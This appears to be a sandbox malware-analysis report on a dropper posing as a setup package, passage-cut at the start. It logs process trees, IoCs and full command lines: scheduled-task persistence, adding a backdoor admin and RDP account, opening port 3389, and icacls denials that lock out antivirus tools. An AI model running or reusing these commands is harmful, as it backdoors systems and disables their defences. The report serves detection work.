Files (x86)\SpeedFan update.exe File opened for modification C:\Program Files\RDP Wrapper smss.exe File opened for modification C:\Program Files\RDP Wrapper\rdpwrap.ini smss.exe File opened for modification C:\Program Files\Process Hacker 2 update.exe File opened for modification C:\Program Files\RogueKiller update.exe File created C:\Program Files\RDP Wrapper\rdpwrap.dll RDPWinst.exe File opened for modification C:\Program Files\COMODO update.exe File opened for modification C:\Program Files\DrWeb update.exe File opened for modification C:\Program Files (x86)\AVAST Software update.exe File opened for modification C:\Program Files\Bitdefender Agent update.exe -
Launches sc.exe 6 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 344 sc.exe 4116 sc.exe 1212 sc.exe 1924 sc.exe 2320 sc.exe 2296 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
-
System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language winserv.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language winserv.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RDPWinst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language winserv.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language install.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language win.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 smss.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString smss.exe -
Delays execution with timeout.exe 2 IoCs
pid Process 2768 timeout.exe 328 timeout.exe -
Modifies registry class 3 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000_Classes\MIME\Database smss.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Charset smss.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Codepage smss.exe -
NTFS ADS 3 IoCs
description ioc Process File opened for modification C:\ProgramData\Setup\winmgmts:\ IP.exe File opened for modification C:\ProgramData\Setup\WinMgmts:\ IP.exe File opened for modification C:\ProgramData\Setup\winmgmts:\ smss.exe -
Runs net.exe
-
Scheduled Task/Job: Scheduled Task 1 TTPs 8 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2080 schtasks.exe 4176 schtasks.exe 2404 schtasks.exe 2484 schtasks.exe 1172 schtasks.exe 1428 schtasks.exe 2320 schtasks.exe 4020 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 932 Setup.exe 4120 update.exe 4120 update.exe 4120 update.exe 4120 update.exe 4120 update.exe 4120 update.exe 4120 update.exe 4120 update.exe 788 smss.exe 788 smss.exe 788 smss.exe 788 smss.exe 788 smss.exe 788 smss.exe 788 smss.exe 788 smss.exe 788 smss.exe 788 smss.exe 788 smss.exe 788 smss.exe 788 smss.exe 788 smss.exe 788 smss.exe 788 smss.exe -
Suspicious behavior: GetForegroundWindowSpam 2 IoCs
pid Process 932 Setup.exe 2772 unsecapp.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 684 Process not Found -
Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 1552 winserv.exe Token: SeTakeOwnershipPrivilege 2764 winserv.exe Token: SeTcbPrivilege 2764 winserv.exe Token: SeTcbPrivilege 2764 winserv.exe Token: SeDebugPrivilege 2024 RDPWinst.exe Token: SeAuditPrivilege 3124 svchost.exe -
Suspicious use of SetWindowsHookEx 20 IoCs
pid Process 4788 KMS.exe 4120 update.exe 4760 win.exe 2440 svchost.exe 2376 IP.exe 788 smss.exe 1552 winserv.exe 1552 winserv.exe 1552 winserv.exe 1552 winserv.exe 1552 winserv.exe 2764 winserv.exe 2764 winserv.exe 2764 winserv.exe 2764 winserv.exe 2024 RDPWinst.exe 1928 winserv.exe 1928 winserv.exe 1928 winserv.exe 1928 winserv.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 932 wrote to memory of 792 932 Setup.exe 82 PID 932 wrote to memory of 792 932 Setup.exe 82 PID 932 wrote to memory of 792 932 Setup.exe 82 PID 792 wrote to memory of 4788 792 install.exe 83 PID 792 wrote to memory of 4788 792 install.exe 83 PID 792 wrote to memory of 4120 792 install.exe 86 PID 792 wrote to memory of 4120 792 install.exe 86 PID 4120 wrote to memory of 4176 4120 update.exe 87 PID 4120 wrote to memory of 4176 4120 update.exe 87 PID 4120 wrote to memory of 2404 4120 update.exe 89 PID 4120 wrote to memory of 2404 4120 update.exe 89 PID 4120 wrote to memory of 2484 4120 update.exe 91 PID 4120 wrote to memory of 2484 4120 update.exe 91 PID 4120 wrote to memory of 1172 4120 update.exe 93 PID 4120 wrote to memory of 1172 4120 update.exe 93 PID 4120 wrote to memory of 1428 4120 update.exe 95 PID 4120 wrote to memory of 1428 4120 update.exe 95 PID 4120 wrote to memory of 4760 4120 update.exe 98 PID 4120 wrote to memory of 4760 4120 update.exe 98 PID 4120 wrote to memory of 4760 4120 update.exe 98 PID 4120 wrote to memory of 2320 4120 update.exe 99 PID 4120 wrote to memory of 2320 4120 update.exe 99 PID 4120 wrote to memory of 2380 4120 update.exe 101 PID 4120 wrote to memory of 2380 4120 update.exe 101 PID 4120 wrote to memory of 1344 4120 update.exe 103 PID 4120 wrote to memory of 1344 4120 update.exe 103 PID 1344 wrote to memory of 4452 1344 cmd.exe 105 PID 1344 wrote to memory of 4452 1344 cmd.exe 105 PID 4120 wrote to memory of 2440 4120 update.exe 106 PID 4120 wrote to memory of 2440 4120 update.exe 106 PID 4120 wrote to memory of 2440 4120 update.exe 106 PID 2440 wrote to memory of 2376 2440 svchost.exe 107 PID 2440 wrote to memory of 2376 2440 svchost.exe 107 PID 2440 wrote to memory of 788 2440 svchost.exe 108 PID 2440 wrote to memory of 788 2440 svchost.exe 108 PID 788 wrote to memory of 4020 788 smss.exe 109 PID 788 wrote to memory of 4020 788 smss.exe 109 PID 788 wrote to memory of 2080 788 smss.exe 111 PID 788 wrote to memory of 2080 788 smss.exe 111 PID 788 wrote to memory of 1552 788 smss.exe 424 PID 788 wrote to memory of 1552 788 smss.exe 424 PID 788 wrote to memory of 1552 788 smss.exe 424 PID 788 wrote to memory of 4092 788 smss.exe 371 PID 788 wrote to memory of 4092 788 smss.exe 371 PID 4092 wrote to memory of 1428 4092 cmd.exe 119 PID 4092 wrote to memory of 1428 4092 cmd.exe 119 PID 1428 wrote to memory of 4348 1428 net.exe 446 PID 1428 wrote to memory of 4348 1428 net.exe 446 PID 788 wrote to memory of 4884 788 smss.exe 441 PID 788 wrote to memory of 4884 788 smss.exe 441 PID 4884 wrote to memory of 3584 4884 cmd.exe 123 PID 4884 wrote to memory of 3584 4884 cmd.exe 123 PID 3584 wrote to memory of 4664 3584 net.exe 447 PID 3584 wrote to memory of 4664 3584 net.exe 447 PID 788 wrote to memory of 3124 788 smss.exe 151 PID 788 wrote to memory of 3124 788 smss.exe 151 PID 3124 wrote to memory of 3600 3124 cmd.exe 164 PID 3124 wrote to memory of 3600 3124 cmd.exe 164 PID 3600 wrote to memory of 132 3600 net.exe 362 PID 3600 wrote to memory of 132 3600 net.exe 362 PID 788 wrote to memory of 1324 788 smss.exe 495 PID 788 wrote to memory of 1324 788 smss.exe 495 PID 1324 wrote to memory of 1372 1324 cmd.exe 201 PID 1324 wrote to memory of 1372 1324 cmd.exe 201 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\Setup-pass-2024\Setup.exe"C:\Users\Admin\AppData\Local\Temp\Setup-pass-2024\Setup.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
PID:932 -
C:\ProgramData\Setup\install.exeC:\ProgramData\Setup\install.exe -palexpassword2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:792 -
C:\ProgramData\Setup\KMS.exe"C:\ProgramData\Setup\KMS.exe"3⤵
- Modifies Windows Defender Real-time Protection settings
- Modifies Windows Defender notification settings
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Blocks application from running via registry modification
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
PID:4788
-
-
C:\ProgramData\Setup\update.exe"C:\ProgramData\Setup\update.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4120 -
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\WindowsBackup\ControlService" /TR "C:\Programdata\ReaItekHD\taskhost.exe" /SC MINUTE /MO 1 /RL HIGHEST4⤵
- Scheduled Task/Job: Scheduled Task
PID:4176
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\WindowsBackup\CashClean" /TR "C:\Programdata\ReaItekHD\taskhostw.exe" /SC MINUTE /MO 2 /RL HIGHEST4⤵
- Scheduled Task/Job: Scheduled Task
PID:2404
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\WindowsBackup\SysFiles" /TR "C:\Windows\SysWOW64\unsecapp.exe" /SC MINUTE /MO 1 /RL HIGHEST4⤵
- Scheduled Task/Job: Scheduled Task
PID:2484
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\WindowsBackup\WinlogonCheck" /TR "C:\Programdata\ReaItekHD\taskhost.exe" /SC ONLOGON /RL HIGHEST4⤵
- Scheduled Task/Job: Scheduled Task
PID:1172
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\WindowsBackup\OnlogonCheck" /TR "C:\Programdata\ReaItekHD\taskhostw.exe" /SC ONLOGON /RL HIGHEST4⤵
- Scheduled Task/Job: Scheduled Task
PID:1428
-
-
C:\ProgramData\Microsoft\win.exeC:\ProgramData\Microsoft\win.exe -ppidar4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:4760
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\CreedMobeN\RecoveryHosts" /TR "C:\ProgramData\Microsoft\DRM\8jMIti3ITk\CreedMobeN.bat" /SC ONLOGON /RL HIGHEST4⤵
- Scheduled Task/Job: Scheduled Task
PID:2320
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe " /c " & "icacls "C:\KVRT_Data" /deny "%username%":(OI)(CI)(F)4⤵PID:2380
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny system:(OI)(CI)(F)4⤵
- Suspicious use of WriteProcessMemory
PID:1344 -
C:\Windows\system32\icacls.exeicacls C:\KVRT_Data /deny system:(OI)(CI)(F)5⤵
- Modifies file permissions
PID:4452
-
-
-
C:\ProgramData\Setup\svchost.exeC:\ProgramData\Setup\svchost.exe -ppidar4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2440 -
C:\ProgramData\Setup\IP.exe"C:\ProgramData\Setup\IP.exe"5⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- NTFS ADS
- Suspicious use of SetWindowsHookEx
PID:2376 -
C:\Windows\SysWOW64\unsecapp.exeC:\Windows\SysWOW64\unsecapp.exe6⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: GetForegroundWindowSpam
PID:2772
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Programdata\Microsoft\temp\H.bat6⤵
- Drops file in Drivers directory
PID:1240
-
-
-
C:\ProgramData\Setup\smss.exe"C:\ProgramData\Setup\smss.exe"5⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Checks processor information in registry
- Modifies registry class
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:788 -
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winsers" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC MINUTE /MO 1 /RL HIGHEST6⤵
- Scheduled Task/Job: Scheduled Task
PID:4020
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winser" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC ONLOGON /RL HIGHEST6⤵
- Scheduled Task/Job: Scheduled Task
PID:2080
-
-
C:\ProgramData\Windows Tasks Service\winserv.exe"C:\ProgramData\Windows Tasks Service\winserv.exe"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1552 -
C:\ProgramData\Windows Tasks Service\winserv.exe"C:\ProgramData\Windows Tasks Service\winserv.exe" -second7⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2764
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net user John 12345 /add6⤵
- Suspicious use of WriteProcessMemory
PID:4092 -
C:\Windows\system32\net.exenet user John 12345 /add7⤵
- Suspicious use of WriteProcessMemory
PID:1428 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user John 12345 /add8⤵PID:4348
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Администраторы" John /add6⤵
- Suspicious use of WriteProcessMemory
PID:4884 -
C:\Windows\system32\net.exenet localgroup "Администраторы" John /add7⤵
- Suspicious use of WriteProcessMemory
PID:3584 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup "Администраторы" John /add8⤵PID:4664
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного рабочего стола" John /add6⤵
- Suspicious use of WriteProcessMemory
PID:3124 -
C:\Windows\system32\net.exenet localgroup "Пользователи удаленного рабочего стола" John /add7⤵
- Suspicious use of WriteProcessMemory
PID:3600 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add8⤵PID:132
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного управления" john /add" John /add6⤵
- Suspicious use of WriteProcessMemory
PID:1324 -
C:\Windows\system32\net.exenet localgroup "Пользователи удаленного управления" john /add" John /add7⤵PID:1372
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup "Пользователи удаленного управления" john /add" John /add8⤵PID:4448
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Administrators" John /add6⤵PID:1868
-
C:\Windows\system32\net.exenet localgroup "Administrators" John /add7⤵PID:2628
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup "Administrators" John /add8⤵PID:1696
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Administradores" John /add6⤵PID:1500
-
C:\Windows\system32\net.exenet localgroup "Administradores" John /add7⤵PID:1248
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup "Administradores" John /add8⤵PID:1344
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" john /add6⤵
- Remote Service Session Hijacking: RDP Hijacking
PID:4800 -
C:\Windows\system32\net.exenet localgroup "Remote Desktop Users" john /add7⤵
- Remote Service Session Hijacking: RDP Hijacking
PID:4368 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup "Remote Desktop Users" john /add8⤵
- Remote Service Session Hijacking: RDP Hijacking
PID:2612
-
-
-
-
C:\ProgramData\RDPWinst.exeC:\ProgramData\RDPWinst.exe -i6⤵
- Server Software Component: Terminal Services DLL
- Executes dropped EXE
- Modifies WinLogon
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2024 -
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow7⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:1968
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Programdata\Install\del.bat6⤵PID:2528
-
C:\Windows\system32\timeout.exetimeout 57⤵
- Delays execution with timeout.exe
PID:2768
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Microsoft JDX" /deny "%username%":(OI)(CI)(F)4⤵PID:2980
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\Microsoft JDX" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:4560
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Microsoft JDX" /deny System:(OI)(CI)(F)4⤵PID:1664
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\Microsoft JDX" /deny System:(OI)(CI)(F)5⤵PID:4904
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny "%username%":(OI)(CI)(F)4⤵PID:132
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:2120
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny System:(OI)(CI)(F)4⤵PID:4576
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny System:(OI)(CI)(F)5⤵
- Modifies file permissions
PID:4668
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny "%username%":(OI)(CI)(F)4⤵PID:576
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:3600
-
-
C:\Windows\system32\icacls.exeicacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny "Admin":(OI)(CI)(F)5⤵PID:1324
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)4⤵PID:2528
-
C:\Windows\system32\icacls.exeicacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)5⤵PID:4968
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny "%username%":(OI)(CI)(F)4⤵PID:4456
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\Fonts\Mysql" /deny "Admin":(OI)(CI)(F)5⤵PID:500
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)4⤵PID:3164
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)5⤵
- Modifies file permissions
PID:4728
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "c:\program files\Internet Explorer\bin" /deny "%username%":(OI)(CI)(F)4⤵PID:1588
-
C:\Windows\system32\icacls.exeicacls "c:\program files\Internet Explorer\bin" /deny "Admin":(OI)(CI)(F)5⤵PID:4412
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "c:\program files\Internet Explorer\bin" /deny system:(OI)(CI)(F)4⤵PID:2432
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:2932
-
-
C:\Windows\system32\icacls.exeicacls "c:\program files\Internet Explorer\bin" /deny system:(OI)(CI)(F)5⤵PID:2180
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe " /c " & "icacls "C:\Windows\speechstracing" /deny "%username%":(OI)(CI)(F)4⤵PID:4144
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)4⤵PID:4400
-
C:\Windows\system32\icacls.exeicacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)5⤵
- Modifies file permissions
PID:1916
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe " /c " & "icacls "c:\programdata\Malwarebytes" /deny "%username%":(F)4⤵PID:4312
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny System:(F)4⤵PID:1920
-
C:\Windows\system32\icacls.exeicacls c:\programdata\Malwarebytes /deny System:(F)5⤵
- Modifies file permissions
PID:2956
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe " /c " & "icacls "C:\Programdata\MB3Install" /deny "%username%":(F)4⤵PID:3136
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny System:(F)4⤵PID:2992
-
C:\Windows\system32\icacls.exeicacls C:\Programdata\MB3Install /deny System:(F)5⤵
- Modifies file permissions
PID:920
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe " /c " & "icacls "C:\Programdata\Indus" /deny "%username%":(OI)(CI)(F)4⤵PID:4608
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:1372
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)4⤵PID:4224
-
C:\Windows\system32\icacls.exeicacls C:\Programdata\Indus /deny System:(OI)(CI)(F)5⤵PID:5104
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe " /c " & "icacls "C:\AdwCleaner" /deny "%username%":(OI)(CI)(F)4⤵PID:1340
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ByteFence" /deny "%username%":(OI)(CI)(F)4⤵PID:1988
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\ByteFence" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:1248
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe " /c " & "icacls "C:\KVRT2020_Data" /deny "%username%":(OI)(CI)(F)4⤵PID:2424
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\KVRT2020_Data /deny system:(OI)(CI)(F)4⤵PID:3944
-
C:\Windows\system32\icacls.exeicacls C:\KVRT2020_Data /deny system:(OI)(CI)(F)5⤵PID:1588
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe " /c " & "icacls "C:\FRST" /deny "%username%":(OI)(CI)(F)4⤵PID:2932
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\FRST /deny system:(OI)(CI)(F)4⤵PID:4956
-
C:\Windows\system32\icacls.exeicacls C:\FRST /deny system:(OI)(CI)(F)5⤵
- Modifies file permissions
PID:1800
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\360" /deny "%username%":(OI)(CI)(F)4⤵PID:1916
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\360" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:4200
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\360safe" /deny "%username%":(OI)(CI)(F)4⤵PID:244
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\360safe" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:900
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\SpyHunter" /deny "%username%":(OI)(CI)(F)4⤵PID:4348
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\SpyHunter" /deny "Admin":(OI)(CI)(F)5⤵PID:920
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Malwarebytes" /deny "%username%":(OI)(CI)(F)4⤵PID:4668
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Malwarebytes" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:2120
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\COMODO" /deny "%username%":(OI)(CI)(F)4⤵PID:2136
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\COMODO" /deny "Admin":(OI)(CI)(F)5⤵PID:576
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Enigma Software Group" /deny "%username%":(OI)(CI)(F)4⤵PID:1172
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Enigma Software Group" /deny "Admin":(OI)(CI)(F)5⤵PID:4968
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\SpyHunter" /deny "%username%":(OI)(CI)(F)4⤵PID:1432
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\SpyHunter" /deny "Admin":(OI)(CI)(F)5⤵PID:4112
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVAST Software" /deny "%username%":(OI)(CI)(F)4⤵PID:3332
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:4368
-
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\AVAST Software" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:3360
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVAST Software" /deny "%username%":(OI)(CI)(F)4⤵PID:3592
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\AVAST Software" /deny "Admin":(OI)(CI)(F)5⤵PID:764
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Programdata\AVAST Software" /deny "%username%":(OI)(CI)(F)4⤵PID:3220
-
